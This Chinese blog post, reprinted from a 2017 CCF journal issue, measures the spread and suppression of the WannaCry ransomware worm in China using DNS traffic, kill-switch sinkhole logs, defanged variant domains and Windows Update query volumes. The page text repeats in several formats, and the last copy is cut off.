<p>在这次WannaCry事件中，我们估算能够看到全国大约10%的相关DNS流量。如果将整个国内互联网视为一个复杂系统，DNSPAI则是对DNS流量的一个采样，而全部的DNS流量是对整个复杂系统在协议维度的一个采样。在这个尺度上，即使只有1%的采样比也是非常惊人的。通过合理设定数据处理管道和充分运用大数据分析技术，我们能够对中国大陆地区的网络安全情况有一个较为全面的了解。</p> <h4 id="wannacry">WannaCry在国内的感染趋势</h4> <h5 id="1">1. 早期感染阶段</h5> <p>5月12日（周五）15:20（北京时间，下同），我们看到了首个访问该域名的DNS请求。此时的域名解析是不成功的，自然无法访问到目标网页，机器一旦感染蠕虫，就会发作。这个阶段的DNS访问曲线如图1所示。</p> <p><img src="__GHOST_URL__/content/images/2017/07/01-early-infection.png" alt="" loading="lazy"><br> 图1 早期感染阶段DNS访问曲线</p> <p>这段时间又可以划分为如下若干更小的时间片。</p> <ul> <li>15:00～17:00之间，每个小时的感染数量分别是 9，25和202，每个小时扩大约一个数量级，这是极早期快速感染阶段；</li> <li>17:00～22:00之间，每小时新增感染达到了一个较高水平，最高达到2800/小时，这是第一次高峰阶段；</li> <li>22:00～23:00之间，感染速度逐渐下降，这应该是夜间更多机器关机导致，可以归纳为夜间自然下降阶段；</li> </ul> <p>仔细观察这段时间的感染情况，可以得出以下结论：</p> <ul> <li>我们有理由认为15:00附近就是国内蠕虫最初感染发作的时间，尽管我们看到的仅是国内DNS数据的采样而非全部。这是因为最初的感染速度非常小，为个位数，并且在随后的每个小时内扩充约1个数量级，如果我们把时间向前追溯，就可以得到这个结论。</li> <li>压制域名的上线有重大意义：在整个早期感染阶段，蠕虫扩张的速度非常快，如果不是压制域名争取了时间，所有后续的防御行动都会困难很多。事实上，周五这天晚上22:00附近就是WannaCry感染速度的历史最高水平，即使是后来的周一早上上班大开机的时刻也没能超过这个水平。</li> </ul> <h5 id="2">2. 域名压制阶段</h5> <p>开关域名于周五23:30左右上线，开始了对WannaCry的压制。这段时间也可以继续细分为如下若干时间片段。</p> <ul> <li>压制域名同步到全网阶段。由于DNS本身的缓存，压制域名虽然最早于23:30左右上线，但是这个案例中还需要大约30分钟才能让全网所有节点都能感知到。在这30分钟里，全网范围内DNS应答中，NXDOMAIN（域名不存在）和A（回应IP地址）两种类型同时存在。前者在回落，后者在上升。域名上线后大约5～10分钟时，两条曲线出现十字交叉，域名上线30分钟后，NXDOMAIN被压制到地板附近（见图2）</li> <li>平稳控制阶段。NXDOMAIN被压制以后，过度到了平稳控制阶段。在这个阶段，一方面，微软补丁更新和安全社区的共同努力减少了感染机器的数量；另一方面，总有机器因为各种原因被新增感染。总体而言，总感染量处于动态平衡状态，并且会随着时间推移最终平稳下降。从既往其他类似情况看，下降过程也许会耗费数年，并且往往会出现以周为单位的规律性波动（见图3）。</li> </ul> <p><img src="__GHOST_URL__/content/images/2017/07/02-kill-switch-domain-go-online.png" alt="" loading="lazy"><br> 图2 压制域名同步到全网阶段<br> <img src="__GHOST_URL__/content/images/2017/07/03-for-the-next-two-weeks-infection-are-under-control.png" alt="" loading="lazy"><br> 图3 平稳控制阶段</p> <p>在这个阶段，有以下情况值得一提。</p> <p>在5月17日以后，DNS数据中信噪比逐渐下降，逐渐变得不再适合用来做分析和度量。这主要是由于开关域名被媒体和公众大量关注，越来越多的针对开关域名的访问是来自浏览器而非WannaCry。</p> <p>尽管如此，每天的DNS访问曲线仍然是不多的风向标之一。在感染的早期，每个人都无法预测WannaCry的后续发展趋向，只能严密监视域名访问情况。白天相对夜晚有个波峰，这是正常现象；周日的波峰比周六更高一些，没人知道这是个什么样的兆头；直到周一早晨9:00的波峰开始回落，确认周一读数小于周五，我们才能基本认为感染情况大体得到控制；随后，在周三和周四感染情况有所反弹，每个人的心又提到嗓子眼；直到再下一周数据整体回落，我们才能最终确认局势受控，从应急状态回到平稳的工作状态。</p> <h4 id="wannacry">WannaCry不同变种感染情况对比</h4> <p>随着时间推移，不断有WannaCry的不同变种被曝光，有的样本去掉了对开关域名的检测（但是幸运的是该样本被改坏了，无法正常启动），有的样本使用了不同的开关域名，但是从DNS数据层面来看，除了原始版本，其他版本并没有得到广泛传播。</p> <p>我们至少捕获到以下WannaCry变种样本：</p> <ul> <li>hxxp://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com</li> <li>hxxp://www.ifferfsodp9ifjaposdfjhgosurijfaewrwergwea.com</li> <li>hxxp://www.udhridhfowhgibe9vheiviehfiehbfvieheifheih.com</li> <li>hxxp://www.iuqssfsodp9ifjaposdfjhgosurijfaewrwergwea.com</li> <li>hxxp://www.ayylmaotjhsstasdfasdfasdfasdfasdfasdfasdf.com</li> </ul> <p>对应域名的DNS访问曲线如图4所示。</p> <ul> <li>传播的主体，是iuqerf的原始版本；</li> <li>ifferf版本有少量传播，比原始版本小了一个数量级；</li> <li>其他版本只有零星访问或者干脆没有访问。</li> </ul> <p><img src="__GHOST_URL__/content/images/2017/07/04-comparation-between-different-variants.png" alt="" loading="lazy"><br> 图4 对应域名的DNS访问曲线</p> <p>变种版本的感染范围远小于原始版本，也许可以归为补丁防御工作开始启动。无论如何，可以预期后续变种如果仅仅修改了开源域名，并不会比 ifferf版本带来更大影响。总体而言，在这个案例中，非原始版本的WannaCry的感染情况不值得引起安全社区的密切关注。</p> <h4 id="wsus">微软WSUS补丁更新服务的访问情况</h4> <p>微软补丁是本次WannaCry防御体系的关键，理应获得比WannaCry变种更多的关注。查询微软WSUS服务的官网可知，WSUS服务与下列域名访问有关：</p> <ul> <li>hxxp://windowsupdate.microsoft.com</li> <li>hxxp://download.windowsupdate.com</li> <li>hxxp://download.microsoft.com</li> <li>hxxp://test.stats.update.microsoft.com</li> <li>hxxp://ntservicepack.microsoft.com</li> </ul> <p>简单查询可知，download.windowsupdate.com的访问量最大，我们选用这个域名的DNS访问情况来代表补丁更新情况，如图5所示。<br> <img src="__GHOST_URL__/content/images/2017/07/05-dns-traffic-on-wsus.png" alt="" loading="lazy"><br> 图5 download.windowsupdate.com域名的DNS访问情况</p> <p>通常而言，补丁更新分发的高峰是在“星期二补丁日”的第二天。按照惯例，微软是在每个月第二周的星期二发补丁，第二天（周三）是中国区用户更新的高峰时间。但是这一次，5月15日（周一）当天出现了一个波峰。这种情况可以理解为系统网络管理员、个人在经过周六和周日的宣传后，大量用户在周一更新了微软补丁。</p> <p>从这个意义上来说，这一次整个安全社区在周六、周日紧急行动起来，向社会和公众说明情况，提供防御手段和解决方案，是非常必要的。如果错过了周六和周日宣传准备的时间窗口，周一早上的开机时刻也许就是灾难时刻。</p> <h3 id="sinkholewannacry">从sinkhole视角看WannaCry的感染情况</h3> <p>如前所述，得益于Kryptos Logic Vantage对我们的信任，我们获得了域名sinkhole的关键日志。这段数据覆盖了全球，是WannaCry事件中全球视角的唯一权威数据。Kryptos Logic Vantage授权我们展示部分统计信息。</p> <p>我们得到的sinkhole数据，发生在北京时间5月12日23:40～5月16日8:10，缺失了5月13日10:30～5月14日00:20之间的数据。这段数据显示，开关域名共计被访问了266万次，涉及16万个独立来源IP。</p> <h4 id="sinkholedns">Sinkhole与DNS数据对比分析</h4> <p>将sinkhole数据与DNS数据放在一起对比，可以清晰地进行分析。如图6所示，蓝色部分为sinkhole数据，红色部分为DNS数据。DNS数据在纵轴上缩放了10倍，以便清晰地展示数据的趋势。</p> <p><img src="__GHOST_URL__/content/images/2017/07/06-comparation-between-sinkhole-and-dns.png" alt="" loading="lazy"><br> 图6 sinkhole数据与DNS数据对比分析</p> <p>按时间顺序解读图6，可以得知：</p> <ul> <li>域名刚刚上线后的5个小时之内是sinkhole访问的历史高峰，每分钟约3500次；</li> <li>上线6小时后sinkhole访问数量开始持续回落，到北京时间5月14日6时许降低到高峰时段的十分之一，到15日3时为最低点，约为历史高峰水平的三十分之一。可以认为，域名上线，有效压制了蠕虫的发展；</li> </ul> <p>以上观察结果与之前DNS数据观察结果一致。我们猜测，缺失的14个小时的数据，趋势也是一直在下降。</p> <h4 id="windows">来源端口和Windows动态端口范围设定</h4> <p>除了时序方面，来源端口方面的数据分布也引起了我们的注意。端口49150前后的来源访问次数差别非常大，端口1024前后也有一个局部的暴涨。图7～9分别是全端口分布、端口49150附近数据缩放以及端口1024附近数据缩放。</p> <p><img src="__GHOST_URL__/content/images/2017/07/07-source-port-distribution-in-sinkhole-view.png" alt="" loading="lazy"><br> 图7 全端口分布<br> <img src="__GHOST_URL__/content/images/2017/07/08-distribution-burst-around-port-49150.png" alt="" loading="lazy"><br> 图8 端口49150附近数据缩放<br> <img src="__GHOST_URL__/content/images/2017/07/09-distribution-burst-around-port-1024.png" alt="" loading="lazy"><br> 图9 端口1024附近数据缩放</p> <p>我们查到，Windows操作系统对动态端口范围有如表1所示的设定。</p> <p>表1 Windows操作系统对动态端口范围的设定<br> <img src="__GHOST_URL__/content/images/2017/07/10-windows-dynamic-port-assign-policy.png" alt="" loading="lazy"></p> <p>基于以上事实，我们有如下推测。</p> <ul> <li>相当比例机器被感染的时机，发生在Windows刚刚启动完成的阶段，这时动态端口几乎都没有被使用，操作系统按照预设范围由低到高，给请求分配了范围下限附近的端口；</li> <li>处在下限边缘但很少被使用到的端口，例如，49152/49153/49154和1024/1025/1026/1027，也许是被操作系统自身在启动过程中用掉；</li> <li>绝大部分被感染版本是Windows Vista/Windows 7/WindowsServer2008及以后版本，之前版本感染的不多。</li> </ul> <h4 id="">致谢</h4> <p>我们特别致谢Kryptos Logic Vantage，不仅因为他们允许我们获得sinkhole的日志，从而得以从更多角度深入WannaCry蠕虫病毒；更主要是因为Kryptos Logic Vantage的sinkhole在此次案例中，为所有安全社区工作者争取了宝贵的时间，维护了所有人（也许病毒作者除外）的利益。</p> <h4 id="">参考文献</h4> <p>[1] Windows服务器系统的服务概述和网络端口要求[OL].<a href="https://support.microsoft.com/zh-cn/help/832017/service-overview-and-network-port-requirements-for-windows">https://support.microsoft.com/zh-cn/help/832017/service-overview-and-network-port-requirements-for-windows</a></p> <!--kg-card-end: markdown-->

编注：本文来源自《中国计算机学会通讯》2017年第7期《WannaCry勒索蠕虫专刊》，作者是360网络安全研究院李丰沛。在本博客发布时，文章的字句和排版略有调整，以适应本技术博客。我们将该文章发布在本技术博客的动机之一，是因为这篇文章中对WannaCry的感染情况做了一个定量分析，本技术博客的后续其他分析文章可以参考做一个基准。 域名系统(Domain Name System, DNS)数据作为全网流量数据的一种采样方式，可以在大网尺度对域名做有效的度量和分析。我们利用DNS数据，在过去数年里对多个安全事件，包括Mirai等僵尸网络、DGA等恶意域名，以及黑色产业链条进行跟踪和分析。对于最近爆发的WannaCry蠕虫病毒，利用DNS数据进行分析，也是很有意义的。 众所周知，WannaCry蠕虫病毒有一个开关域名，即www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com，该域名相关详细内容见《WannaCry勒索蠕虫专刊》其他文章。在蠕虫感染过程中，有效载荷通过445端口上的 MS17-010漏洞投递并成功启动后，会尝试访问特定域名的网页。如果成功访问网页，则随即退出，蠕虫会被压制，不会进一步发作；如果访问网页失败，蠕虫会开始破坏动作，并随后弹框勒索赎金。本文首先从我们手头的DNS数据视角，就开关域名和其他域名的访问情况，描绘本次WannaCry蠕虫病毒在国内的感染和防御情况。 尽管在注册开关域名时，Kryptos Logic Vantage (www.kryptoslogic.com)的研究人员并没有意识到这个域名的重要作用，但实际上，正是这个开关域名成功抑制了WannaCry蠕虫的蔓延，研究人员因此自嘲说“意外地拯救了世界”。得益于Kryptos Logic Vantage对我们的信任，我们获得了关键域名sinkhole的部分日志数据。本文的第二部分，将基于sinkhole日志的统计信息，分析WannaCry的感染情况。 从DNS视角看WannaCry在国内的感染和防御情况 这里，有必要先介绍一下我们在DNS方面“看见”的能力，从而向读者确认我们所见的数据能够代表中国地区。我们及合作伙伴的DNS数据源每日高峰期处理超过100万次/秒的DNS请求和响应，客户来源覆盖国内各地理区域、行业、运营商等不同领域。 在这次WannaCry事件中，我们估算能够看到全国大约10%的相关DNS流量。如果将整个国内互联网视为一个复杂系统，DNSPAI则是对DNS流量的一个采样，而全部的DNS流量是对整个复杂系统在协议维度的一个采样。在这个尺度上，即使只有1%的采样比也是非常惊人的。通过合理设定数据处理管道和充分运用大数据分析技术，我们能够对中国大陆地区的网络安全情况有一个较为全面的了解。 WannaCry在国内的感染趋势 1. 早期感染阶段 5月12日（周五）15:20（北京时间，下同），我们看到了首个访问该域名的DNS请求。此时的域名解析是不成功的，自然无法访问到目标网页，机器一旦感染蠕虫，就会发作。这个阶段的DNS访问曲线如图1所示。 图1 早期感染阶段DNS访问曲线 这段时间又可以划分为如下若干更小的时间片。 * 15:00～17:00之间，每个小时的感染数量分别是 9，25和202，每个小时扩大约一个数量级，这是极早期快速感染阶段； * 17:00～22:00之间，每小时新增感染达到了一个较高水平，最高达到2800/小时，这是第一次高峰阶段； * 22:00～23:00之间，感染速度逐渐下降，这应该是夜间更多机器关机导致，可以归纳为夜间自然下降阶段； 仔细观察这段时间的感染情况，可以得出以下结论： * 我们有理由认为15:00附近就是国内蠕虫最初感染发作的时间，尽管我们看到的仅是国内DNS数据的采样而非全部。这是因为最初的感染速度非常小，为个位数，并且在随后的每个小时内扩充约1个数量级，如果我们把时间向前追溯，就可以得到这个结论。 * 压制域名的上线有重大意义：在整个早期感染阶段，蠕虫扩张的速度非常快，如果不是压制域名争取了时间，所有后续的防御行动都会困难很多。事实上，周五这天晚上22:00附近就是WannaCry感染速度的历史最高水平，即使是后来的周一早上上班大开机的时刻也没能超过这个水平。 2. 域名压制阶段 开关域名于周五23:30左右上线，开始了对WannaCry的压制。这段时间也可以继续细分为如下若干时间片段。 * 压制域名同步到全网阶段。由于DNS本身的缓存，压制域名虽然最早于23:30左右上线，但是这个案例中还需要大约30分钟才能让全网所有节点都能感知到。在这30分钟里，全网范围内DNS应答中，NXDOMAIN（域名不存在）和A（回应IP地址）两种类型同时存在。前者在回落，后者在上升。域名上线后大约5～10分钟时，两条曲线出现十字交叉，域名上线30分钟后，NXDOMAIN被压制到地板附近（见图2） * 平稳控制阶段。NXDOMAIN被压制以后，过度到了平稳控制阶段。在这个阶段，一方面，微软补丁更新和安全社区的共同努力减少了感染机器的数量；另一方面，总有机器因为各种原因被新增感染。总体而言，总感染量处于动态平衡状态，并且会随着时间推移最终平稳下降。从既往其他类似情况看，下降过程也许会耗费数年，并且往往会出现以周为单位的规律性波动（见图3）。 图2 压制域名同步到全网阶段 图3 平稳控制阶段 在这个阶段，有以下情况值得一提。 在5月17日以后，DNS数据中信噪比逐渐下降，逐渐变得不再适合用来做分析和度量。这主要是由于开关域名被媒体和公众大量关注，越来越多的针对开关域名的访问是来自浏览器而非WannaCry。 尽管如此，每天的DNS访问曲线仍然是不多的风向标之一。在感染的早期，每个人都无法预测WannaCry的后续发展趋向，只能严密监视域名访问情况。白天相对夜晚有个波峰，这是正常现象；周日的波峰比周六更高一些，没人知道这是个什么样的兆头；直到周一早晨9:00的波峰开始回落，确认周一读数小于周五，我们才能基本认为感染情况大体得到控制；随后，在周三和周四感染情况有所反弹，每个人的心又提到嗓子眼；直到再下一周数据整体回落，我们才能最终确认局势受控，从应急状态回到平稳的工作状态。 WannaCry不同变种感染情况对比 随着时间推移，不断有WannaCry的不同变种被曝光，有的样本去掉了对开关域名的检测（但是幸运的是该样本被改坏了，无法正常启动），有的样本使用了不同的开关域名，但是从DNS数据层面来看，除了原始版本，其他版本并没有得到广泛传播。 我们至少捕获到以下WannaCry变种样本： * hxxp://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com * hxxp://www.ifferfsodp9ifjaposdfjhgosurijfaewrwergwea.com * hxxp://www.udhridhfowhgibe9vheiviehfiehbfvieheifheih.com * hxxp://www.iuqssfsodp9ifjaposdfjhgosurijfaewrwergwea.com * hxxp://www.ayylmaotjhsstasdfasdfasdfasdfasdfasdfasdf.com 对应域名的DNS访问曲线如图4所示。 * 传播的主体，是iuqerf的原始版本； * ifferf版本有少量传播，比原始版本小了一个数量级； * 其他版本只有零星访问或者干脆没有访问。 图4 对应域名的DNS访问曲线 变种版本的感染范围远小于原始版本，也许可以归为补丁防御工作开始启动。无论如何，可以预期后续变种如果仅仅修改了开源域名，并不会比 ifferf版本带来更大影响。总体而言，在这个案例中，非原始版本的WannaCry的感染情况不值得引起安全社区的密切关注。 微软WSUS补丁更新服务的访问情况 微软补丁是本次WannaCry防御体系的关键，理应获得比WannaCry变种更多的关注。查询微软WSUS服务的官网可知，WSUS服务与下列域名访问有关： * hxxp://windowsupdate.microsoft.com * hxxp://download.windowsupdate.com * hxxp://download.microsoft.com * hxxp://test.stats.update.microsoft.com * hxxp://ntservicepack.microsoft.com 简单查询可知，download.windowsupdate.com的访问量最大，我们选用这个域名的DNS访问情况来代表补丁更新情况，如图5所示。 图5 download.windowsupdate.com域名的DNS访问情况 通常而言，补丁更新分发的高峰是在“星期二补丁日”的第二天。按照惯例，微软是在每个月第二周的星期二发补丁，第二天（周三）是中国区用户更新的高峰时间。但是这一次，5月15日（周一）当天出现了一个波峰。这种情况可以理解为系统网络管理员、个人在经过周六和周日的宣传后，大量用户在周一更新了微软补丁。 从这个意义上来说，这一次整个安全社区在周六、周日紧急行动起来，向社会和公众说明情况，提供防御手段和解决方案，是非常必要的。如果错过了周六和周日宣传准备的时间窗口，周一早上的开机时刻也许就是灾难时刻。 从sinkhole视角看WannaCry的感染情况 如前所述，得益于Kryptos Logic Vantage对我们的信任，我们获得了域名sinkhole的关键日志。这段数据覆盖了全球，是WannaCry事件中全球视角的唯一权威数据。Kryptos Logic Vantage授权我们展示部分统计信息。 我们得到的sinkhole数据，发生在北京时间5月12日23:40～5月16日8:10，缺失了5月13日10:30～5月14日00:20之间的数据。这段数据显示，开关域名共计被访问了266万次，涉及16万个独立来源IP。 Sinkhole与DNS数据对比分析 将sinkhole数据与DNS数据放在一起对比，可以清晰地进行分析。如图6所示，蓝色部分为sinkhole数据，红色部分为DNS数据。DNS数据在纵轴上缩放了10倍，以便清晰地展示数据的趋势。 图6 sinkhole数据与DNS数据对比分析 按时间顺序解读图6，可以得知： * 域名刚刚上线后的5个小时之内是sinkhole访问的历史高峰，每分钟约3500次； * 上线6小时后sinkhole访问数量开始持续回落，到北京时间5月14日6时许降低到高峰时段的十分之一，到15日3时为最低点，约为历史高峰水平的三十分之一。可以认为，域名上线，有效压制了蠕虫的发展； 以上观察结果与之前DNS数据观察结果一致。我们猜测，缺失的14个小时的数据，趋势也是一直在下降。 来源端口和Windows动态端口范围设定 除了时序方面，来源端口方面的数据分布也引起了我们的注意。端口49150前后的来源访问次数差别非常大，端口1024前后也有一个局部的暴涨。图7～9分别是全端口分布、端口49150附近数据缩放以及端口1024附近数据缩放。 图7 全端口分布 图8 端口49150附近数据缩放 图9 端口1024附近数据缩放 我们查到，Windows操作系统对动态端口范围有如表1所示的设定。 表1 Windows操作系统对动态端口范围的设定 基于以上事实，我们有如下推测。 * 相当比例机器被感染的时机，发生在Windows刚刚启动完成的阶段，这时动态端口几乎都没有被使用，操作系统按照预设范围由低到高，给请求分配了范围下限附近的端口； * 处在下限边缘但很少被使用到的端口，例如，49152/49153/49154和1024/1025/1026/1027，也许是被操作系统自身在启动过程中用掉； * 绝大部分被感染版本是Windows Vista/Windows 7/WindowsServer2008及以后版本，之前版本感染的不多。 致谢 我们特别致谢Kryptos Logic Vantage，不仅因为他们允许我们获得sinkhole的日志，从而得以从更多角度深入WannaCry蠕虫病毒；更主要是因为Kryptos Logic Vantage的sinkhole在此次案例中，为所有安全社区工作者争取了宝贵的时间，维护了所有人（也许病毒作者除外）的利益。 参考文献 [1] Windows服务器系统的服务概述和网络端口要求[OL].https://support.microsoft.com/zh-cn/help/832017/service-overview-and-network-port-requirements-for-windows

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"编注：本文来源自《中国计算机学会通讯》2017年第7期《WannaCry勒索蠕虫专刊》，作者是360网络安全研究院李丰沛。在本博客发布时，文章的字句和排版略有调整，以适应本技术博客。我们将该文章发布在本技术博客的动机之一，是因为这篇文章中对WannaCry的感染情况做了一个定量分析，本技术博客的后续其他分析文章可以参考做一个基准。\n\n\n\n域名系统(Domain Name System, DNS)数据作为全网流量数据的一种采样方式，可以在大网尺度对域名做有效的度量和分析。我们利用DNS数据，在过去数年里对多个安全事件，包括Mirai等僵尸网络、DGA等恶意域名，以及黑色产业链条进行跟踪和分析。对于最近爆发的WannaCry蠕虫病毒，利用DNS数据进行分析，也是很有意义的。\n\n众所周知，WannaCry蠕虫病毒有一个开关域名，即www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com，该域名相关详细内容见《WannaCry勒索蠕虫专刊》其他文章。在蠕虫感染过程中，有效载荷通过445端口上的 MS17-010漏洞投递并成功启动后，会尝试访问特定域名的网页。如果成功访问网页，则随即退出，蠕虫会被压制，不会进一步发作；如果访问网页失败，蠕虫会开始破坏动作，并随后弹框勒索赎金。本文首先从我们手头的DNS数据视角，就开关域名和其他域名的访问情况，描绘本次WannaCry蠕虫病毒在国内的感染和防御情况。\n\n尽管在注册开关域名时，Kryptos Logic Vantage (www.kryptoslogic.com)的研究人员并没有意识到这个域名的重要作用，但实际上，正是这个开关域名成功抑制了WannaCry蠕虫的蔓延，研究人员因此自嘲说“意外地拯救了世界”。得益于Kryptos Logic Vantage对我们的信任，我们获得了关键域名sinkhole的部分日志数据。本文的第二部分，将基于sinkhole日志的统计信息，分析WannaCry的感染情况。\n\n###从DNS视角看WannaCry在国内的感染和防御情况\n\n这里，有必要先介绍一下我们在DNS方面“看见”的能力，从而向读者确认我们所见的数据能够代表中国地区。我们及合作伙伴的DNS数据源每日高峰期处理超过100万次/秒的DNS请求和响应，客户来源覆盖国内各地理区域、行业、运营商等不同领域。\n\n在这次WannaCry事件中，我们估算能够看到全国大约10%的相关DNS流量。如果将整个国内互联网视为一个复杂系统，DNSPAI则是对DNS流量的一个采样，而全部的DNS流量是对整个复杂系统在协议维度的一个采样。在这个尺度上，即使只有1%的采样比也是非常惊人的。通过合理设定数据处理管道和充分运用大数据分析技术，我们能够对中国大陆地区的网络安全情况有一个较为全面的了解。\n\n####WannaCry在国内的感染趋势\n#####1. 早期感染阶段\n5月12日（周五）15:20（北京时间，下同），我们看到了首个访问该域名的DNS请求。此时的域名解析是不成功的，自然无法访问到目标网页，机器一旦感染蠕虫，就会发作。这个阶段的DNS访问曲线如图1所示。\n\n\n图1 早期感染阶段DNS访问曲线\n\n这段时间又可以划分为如下若干更小的时间片。\n\n * 15:00～17:00之间，每个小时的感染数量分别是 9，25和202，每个小时扩大约一个数量级，这是极早期快速感染阶段；\n * 17:00～22:00之间，每小时新增感染达到了一个较高水平，最高达到2800/小时，这是第一次高峰阶段；\n * 22:00～23:00之间，感染速度逐渐下降，这应该是夜间更多机器关机导致，可以归纳为夜间自然下降阶段；\n\n仔细观察这段时间的感染情况，可以得出以下结论：\n\n * 我们有理由认为15:00附近就是国内蠕虫最初感染发作的时间，尽管我们看到的仅是国内DNS数据的采样而非全部。这是因为最初的感染速度非常小，为个位数，并且在随后的每个小时内扩充约1个数量级，如果我们把时间向前追溯，就可以得到这个结论。\n * 压制域名的上线有重大意义：在整个早期感染阶段，蠕虫扩张的速度非常快，如果不是压制域名争取了时间，所有后续的防御行动都会困难很多。事实上，周五这天晚上22:00附近就是WannaCry感染速度的历史最高水平，即使是后来的周一早上上班大开机的时刻也没能超过这个水平。\n\n#####2. 域名压制阶段\n开关域名于周五23:30左右上线，开始了对WannaCry的压制。这段时间也可以继续细分为如下若干时间片段。\n\n * 压制域名同步到全网阶段。由于DNS本身的缓存，压制域名虽然最早于23:30左右上线，但是这个案例中还需要大约30分钟才能让全网所有节点都能感知到。在这30分钟里，全网范围内DNS应答中，NXDOMAIN（域名不存在）和A（回应IP地址）两种类型同时存在。前者在回落，后者在上升。域名上线后大约5～10分钟时，两条曲线出现十字交叉，域名上线30分钟后，NXDOMAIN被压制到地板附近（见图2）\n * 平稳控制阶段。NXDOMAIN被压制以后，过度到了平稳控制阶段。在这个阶段，一方面，微软补丁更新和安全社区的共同努力减少了感染机器的数量；另一方面，总有机器因为各种原因被新增感染。总体而言，总感染量处于动态平衡状态，并且会随着时间推移最终平稳下降。从既往其他类似情况看，下降过程也许会耗费数年，并且往往会出现以周为单位的规律性波动（见图3）。\n\n\n图2 压制域名同步到全网阶段\n\n图3 平稳控制阶段\n\n在这个阶段，有以下情况值得一提。\n\n在5月17日以后，DNS数据中信噪比逐渐下降，逐渐变得不再适合用来做分析和度量。这主要是由于开关域名被媒体和公众大量关注，越来越多的针对开关域名的访问是来自浏览器而非WannaCry。\n\n尽管如此，每天的DNS访问曲线仍然是不多的风向标之一。在感染的早期，每个人都无法预测WannaCry的后续发展趋向，只能严密监视域名访问情况。白天相对夜晚有个波峰，这是正常现象；周日的波峰比周六更高一些，没人知道这是个什么样的兆头；直到周一早晨9:00的波峰开始回落，确认周一读数小于周五，我们才能基本认为感染情况大体得到控制；随后，在周三和周四感染情况有所反弹，每个人的心又提到嗓子眼；直到再下一周数据整体回落，我们才能最终确认局势受控，从应急状态回到平稳的工作状态。\n\n####WannaCry不同变种感染情况对比\n\n随着时间推移，不断有WannaCry的不同变种被曝光，有的样本去掉了对开关域名的检测（但是幸运的是该样本被改坏了，无法正常启动），有的样本使用了不同的开关域名，但是从DNS数据层面来看，除了原始版本，其他版本并没有得到广泛传播。\n\n我们至少捕获到以下WannaCry变种样本：\n\n * hxxp://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com\n * hxxp://www.ifferfsodp9ifjaposdfjhgosurijfaewrwergwea.com\n * hxxp://www.udhridhfowhgibe9vheiviehfiehbfvieheifheih.com\n * hxxp://www.iuqssfsodp9ifjaposdfjhgosurijfaewrwergwea.com\n * hxxp://www.ayylmaotjhsstasdfasdfasdfasdfasdfasdfasdf.com\n\n对应域名的DNS访问曲线如图4所示。\n\n * 传播的主体，是iuqerf的原始版本；\n * ifferf版本有少量传播，比原始版本小了一个数量级；\n * 其他版本只有零星访问或者干脆没有访问。\n\n\n图4 对应域名的DNS访问曲线\n\n变种版本的感染范围远小于原始版本，也许可以归为补丁防御工作开始启动。无论如何，可以预期后续变种如果仅仅修改了开源域名，并不会比 ifferf版本带来更大影响。总体而言，在这个案例中，非原始版本的WannaCry的感染情况不值得引起安全社区的密切关注。\n\n####微软WSUS补丁更新服务的访问情况\n微软补丁是本次WannaCry防御体系的关键，理应获得比WannaCry变种更多的关注。查询微软WSUS服务的官网可知，WSUS服务与下列域名访问有关：\n\n * hxxp://windowsupdate.microsoft.com\n * hxxp://download.windowsupdate.com\n * hxxp://download.microsoft.com\n * hxxp://test.stats.update.microsoft.com\n * hxxp://ntservicepack.microsoft.com\n\n简单查询可知，download.windowsupdate.com的访问量最大，我们选用这个域名的DNS访问情况来代表补丁更新情况，如图5所示。\n\n图5 download.windowsupdate.com域名的DNS访问情况\n\n通常而言，补丁更新分发的高峰是在“星期二补丁日”的第二天。按照惯例，微软是在每个月第二周的星期二发补丁，第二天（周三）是中国区用户更新的高峰时间。但是这一次，5月15日（周一）当天出现了一个波峰。这种情况可以理解为系统网络管理员、个人在经过周六和周日的宣传后，大量用户在周一更新了微软补丁。\n\n从这个意义上来说，这一次整个安全社区在周六、周日紧急行动起来，向社会和公众说明情况，提供防御手段和解决方案，是非常必要的。如果错过了周六和周日宣传准备的时间窗口，周一早上的开机时刻也许就是灾难时刻。\n\n###从sinkhole视角看WannaCry的感染情况\n如前所述，得益于Kryptos Logic Vantage对我们的信任，我们获得了域名sinkhole的关键日志。这段数据覆盖了全球，是WannaCry事件中全球视角的唯一权威数据。Kryptos Logic Vantage授权我们展示部分统计信息。\n\n我们得到的sinkhole数据，发生在北京时间5月12日23:40～5月16日8:10，缺失了5月13日10:30～5月14日00:20之间的数据。这段数据显示，开关域名共计被访问了266万次，涉及16万个独立来源IP。\n\n####Sinkhole与DNS数据对比分析\n\n将sinkhole数据与DNS数据放在一起对比，可以清晰地进行分析。如图6所示，蓝色部分为sinkhole数据，红色部分为DNS数据。DNS数据在纵轴上缩放了10倍，以便清晰地展示数据的趋势。\n\n\n图6 sinkhole数据与DNS数据对比分析\n\n按时间顺序解读图6，可以得知：\n\n * 域名刚刚上线后的5个小时之内是sinkhole访问的历史高峰，每分钟约3500次；\n * 上线6小时后sinkhole访问数量开始持续回落，到北京时间5月14日6时许降低到高峰时段的十分之一，到15日3时为最低点，约为历史高峰水平的三十分之一。可以认为，域名上线，有效压制了蠕虫的发展；\n\n以上观察结果与之前DNS数据观察结果一致。我们猜测，缺失的14个小时的数据，趋势也是一直在下降。\n\n####来源端口和Windows动态端口范围设定\n除了时序方面，来源端口方面的数据分布也引起了我们的注意。端口49150前后的来源访问次数差别非常大，端口1024前后也有一个局部的暴涨。图7～9分别是全端口分布、端口49150附近数据缩放以及端口1024附近数据缩放。\n\n\n图7 全端口分布\n\n图8 端口49150附近数据缩放\n\n图9 端口1024附近数据缩放\n\n我们查到，Windows操作系统对动态端口范围有如表1所示的设定。\n\n表1 Windows操作系统对动态端口范围的设定\n\n\n基于以上事实，我们有如下推测。\n\n * 相当比例机器被感染的时机，发生在Windows刚刚启动完成的阶段，这时动态端口几乎都没有被使用，操作系统按照预设范围由低到高，给请求分配了范围下限附近的端口；\n * 处在下限边缘但很少被使用到的端口，例如，49152/49153/49154和1024/1025/1026/1027，也许是被操作系统自身在启动过程中用掉；\n * 绝大部分被感染版本是Windows Vista/Windows 7/WindowsServer2008及以后版本，之前版本感染的不多。\n\n####致谢\n我们特别致谢Kryptos Logic 